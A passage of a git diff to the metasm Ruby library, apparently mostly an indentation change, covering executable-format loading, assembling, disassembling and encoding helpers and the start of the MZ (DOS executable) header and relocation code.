self.encoded with the supplied string + def self.load(str, *a, &b) + e = new(*a, &b) + if str.kind_of? EncodedData; e.encoded = str + else e.encoded << str + end + e + end + + # same as load, used by AutoExe + def self.autoexe_load(*x, &b) + load(*x, &b) + end + + attr_accessor :filename + + # same as +load+, but from a file + # uses VirtualFile if available + def self.load_file(path, *a, &b) + e = load(VirtualFile.read(path), *a, &b) + e.filename ||= path + e + end + + # +load_file+ then decode + def self.decode_file(path, *a, &b) + e = load_file(path, *a, &b) + e.decode if not e.instance_variables.map { |iv| iv.to_s }.include?("@disassembler") + e + end + + # +load_file+ then decode header + def self.decode_file_header(path, *a, &b) + e = load_file(path, *a, &b) + e.decode_header + e + end + + def self.decode(raw, *a, &b) + e = load(raw, *a, &b) + e.decode + e + end + + def self.decode_header(raw, *a, &b) + e = load(raw, *a, &b) + e.decode_header + e + end + + # creates a new object using the specified cpu, parses the asm source, and assemble + def self.assemble(cpu, source, file='', lineno=1) + source, cpu = cpu, source if source.kind_of? CPU + e = new(cpu) + e.assemble(source, file, lineno) + e + end + + # same as #assemble, reads asm source from the specified file + def self.assemble_file(cpu, filename) + filename, cpu = cpu, filename if filename.kind_of? CPU + assemble(cpu, File.read(filename), filename, 1) + end + + # parses a bunch of standalone C code, compile and assemble it + def compile_c(source, file='', lineno=1) + cp = @cpu.new_cparser + tune_cparser(cp) + cp.parse(source, file, lineno) + read_c_attrs cp if respond_to? :read_c_attrs + asm_source = @cpu.new_ccompiler(cp, self).compile + puts asm_source if $DEBUG + assemble(asm_source, 'C compiler output', 1) + c_set_default_entrypoint + end + + # creates a new object using the specified cpu, parse/compile/assemble the C source + def self.compile_c(cpu, source, file='', lineno=1) + source, cpu = cpu, source if source.kind_of? CPU + e = new(cpu) + e.compile_c(source, file, lineno) + e + end + + def self.compile_c_file(cpu, filename) + filename, cpu = cpu, filename if filename.kind_of? CPU + compile_c(cpu, File.read(filename), filename, 1) + end + + # add directive to change the current assembler section to the assembler source +src+ + def compile_setsection(src, section) + src << section + end + + # prepare a preprocessor before it reads any source, should define macros to identify the fileformat + def tune_prepro(l) + end + + # prepare a cparser + def tune_cparser(cp) + tune_prepro(cp.lexer) + end + + # this is called once C code is parsed, to handle C attributes like export/import/init etc + def read_c_attrs(cp) + end + + # should setup a default entrypoint for C code, including preparing args for main() etc + def c_set_default_entrypoint + end + + attr_writer :disassembler # custom reader + def disassembler + @disassembler ||= init_disassembler + end + + # returns the exe disassembler + # if it does not exist, creates one, and feeds it with the exe sections + def init_disassembler + @disassembler ||= Disassembler.new(self) + @disassembler.cpu ||= cpu + each_section { |edata, base| + edata ||= EncodedData.new + @disassembler.add_section edata, base + } + @disassembler + end + + # disassembles the specified entrypoints + # initializes the disassembler if needed + # uses get_default_entrypoints if the argument list is empty + # returns the disassembler + def disassemble(*entrypoints) + entrypoints = get_default_entrypoints if entrypoints.empty? + disassembler.disassemble(*entrypoints) + @disassembler + end + + # disassembles the specified entrypoints without backtracking + # initializes the disassembler if needed + # uses get_default_entrypoints if the argument list is empty + # returns the disassembler + def disassemble_fast_deep(*entrypoints) + entrypoints = get_default_entrypoints if entrypoints.empty? + disassembler.disassemble_fast_deep(*entrypoints) + @disassembler + end + + # returns a list of entrypoints to disassemble (program entrypoint, exported functions...) + def get_default_entrypoints + [] + end + + # encodes the executable as a string, checks that all relocations are + # resolved, and returns the raw string version + def encode_string(*a) + encode(*a) + raise ["Unresolved relocations:", @encoded.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not @encoded.reloc.empty? + @encoded.data + end + + # saves the result of +encode_string+ in the specified file + # fails if the file already exists + def encode_file(path, *a) + #raise Errno::EEXIST, path if File.exist? path # race, but cannot use O_EXCL, as O_BINARY is not defined in ruby + encode_string(*a) + File.open(path, 'wb') { |fd| fd.write(@encoded.data) } + end + + # returns the address at which a given file offset would be mapped + def addr_to_fileoff(addr) + addr + end + + # returns the file offset where a mapped byte comes from + def fileoff_to_addr(foff) + foff + end + + def shortname; self.class.name.split('::').last.downcase; end module IntToHash - # converts a constant name to its numeric value using the hash - # {1 => 'toto', 2 => 'tata'}: 'toto' => 1, 42 => 42, 'tutu' => raise - def int_from_hash(val, hash) - val.kind_of?(Integer) ? hash.index(val) || val : hash.index(val) or raise "unknown constant #{val.inspect}" - end - - # converts an array of flag constants to its numeric value using the hash - # {1 => 'toto', 2 => 'tata'}: ['toto', 'tata'] => 3, 'toto' => 2, 42 => 42 - def bits_from_hash(val, hash) - val.kind_of?(Array) ? val.inject(0) { |val_, bitname| val_ | int_from_hash(bitname, hash) } : int_from_hash(val, hash) - end - - # converts a numeric value to the corresponding constant name using the hash - # {1 => 'toto', 2 => 'tata'}: 1 => 'toto', 42 => 42, 'tata' => 'tata', 'tutu' => raise - def int_to_hash(val, hash) - val.kind_of?(Integer) ? hash.fetch(val, val) : (hash.index(val) ? val : raise("unknown constant #{val.inspect}")) - end - - # converts a numeric value to the corresponding array of constant flag names using the hash - # {1 => 'toto', 2 => 'tata'}: 5 => ['toto', 4] - def bits_to_hash(val, hash) - (val.kind_of?(Integer) ? (hash.find_all { |k, v| val & k == k and val &= ~k }.map { |k, v| v } << val) : val.kind_of?(Array) ? val.map { |e| int_to_hash(e, hash) } : [int_to_hash(val, hash)]) - [0] - end + # converts a constant name to its numeric value using the hash + # {1 => 'toto', 2 => 'tata'}: 'toto' => 1, 42 => 42, 'tutu' => raise + def int_from_hash(val, hash) + val.kind_of?(Integer) ? hash.index(val) || val : hash.index(val) or raise "unknown constant #{val.inspect}" + end + + # converts an array of flag constants to its numeric value using the hash + # {1 => 'toto', 2 => 'tata'}: ['toto', 'tata'] => 3, 'toto' => 2, 42 => 42 + def bits_from_hash(val, hash) + val.kind_of?(Array) ? val.inject(0) { |val_, bitname| val_ | int_from_hash(bitname, hash) } : int_from_hash(val, hash) + end + + # converts a numeric value to the corresponding constant name using the hash + # {1 => 'toto', 2 => 'tata'}: 1 => 'toto', 42 => 42, 'tata' => 'tata', 'tutu' => raise + def int_to_hash(val, hash) + val.kind_of?(Integer) ? hash.fetch(val, val) : (hash.index(val) ? val : raise("unknown constant #{val.inspect}")) + end + + # converts a numeric value to the corresponding array of constant flag names using the hash + # {1 => 'toto', 2 => 'tata'}: 5 => ['toto', 4] + def bits_to_hash(val, hash) + (val.kind_of?(Integer) ? (hash.find_all { |k, v| val & k == k and val &= ~k }.map { |k, v| v } << val) : val.kind_of?(Array) ? val.map { |e| int_to_hash(e, hash) } : [int_to_hash(val, hash)]) - [0] + end end - include IntToHash + include IntToHash end class SerialStruct - include ExeFormat::IntToHash + include ExeFormat::IntToHash end end diff --git a/lib/metasm/metasm/exe_format/mz.rb b/lib/metasm/metasm/exe_format/mz.rb index fd9504aa457e8..e640509d0d1ef 100644 --- a/lib/metasm/metasm/exe_format/mz.rb +++ b/lib/metasm/metasm/exe_format/mz.rb @@ -10,155 +10,155 @@ module Metasm class MZ < ExeFormat - MAGIC = 'MZ' # 0x4d5a - class Header < SerialStruct - mem :magic, 2, MAGIC - words :cblp, :cp, :crlc, :cparhdr, :minalloc, :maxalloc, :ss, :sp, :csum, :ip, :cs, :lfarlc, :ovno - mem :unk, 4 - - def encode(mz, relocs) - h = EncodedData.new - set_default_values mz, h, relocs - h << super(mz) - end - - def set_default_values(mz, h=nil, relocs=nil) - return if not h - @cblp ||= Expression[[mz.label_at(mz.body, mz.body.virtsize), :-, mz.label_at(h, 0)], :%, 512] # number of bytes used in last page - @cp ||= Expression[[mz.label_at(mz.body, mz.body.virtsize), :-, mz.label_at(h, 0)], :/, 512] # number of pages used - @crlc ||= relocs.virtsize/4 - @cparhdr ||= Expression[[mz.label_at(relocs, 0), :-, mz.label_at(h, 0)], :/, 16] # header size in paragraphs (16o) - @minalloc ||= ((mz.body.virtsize - mz.body.rawsize) + 15) / 16 - @maxalloc ||= @minalloc - @sp ||= 0 # ss:sp points at 1st byte of body => works if body does not reach end of segment (or maybe the overflow make the stack go to header space) - @lfarlc ||= Expression[mz.label_at(relocs, 0), :-, mz.label_at(h, 0)] - - super(mz) - end - - def decode(mz) - super(mz) - raise InvalidExeFormat, "Invalid MZ signature #{h.magic.inspect}" if @magic != MAGIC - end - end - - class Relocation < SerialStruct - words :offset, :segment - end - - - # encodes a word in 16 bits - def encode_word(val) Expression[val].encode(:u16, @endianness) end - # decodes a 16bits word from self.encoded - def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end - - - attr_accessor :endianness, :header, :source - # the EncodedData representing the content of the file - attr_accessor :body - # an array of Relocations - quite obscure - attr_accessor :relocs - - def initialize(cpu=nil) - @endianness = cpu ? cpu.endianness : :little - @relocs = [] - @header = Header.new - @body = EncodedData.new - @source = [] - super(cpu) - end - - # assembles the source in the body, clears the source - def assemble(*a) - parse(*a) if not a.empty? - @body << assemble_sequence(@source, @cpu) - @body.fixup @body.binding - # XXX should create @relocs here - @source.clear - end - - # sets up @cursource - def parse_init - @cursource = @source - super() - end - - # encodes the header and the relocation table, return them in an array, with the body. - def pre_encode - relocs = @relocs.inject(EncodedData.new) { |edata, r| edata << r.encode(self) } - header = @header.encode self, relocs - [header, relocs, @body] - end - - # defines the exe-specific parser instructions: - # .entrypoint [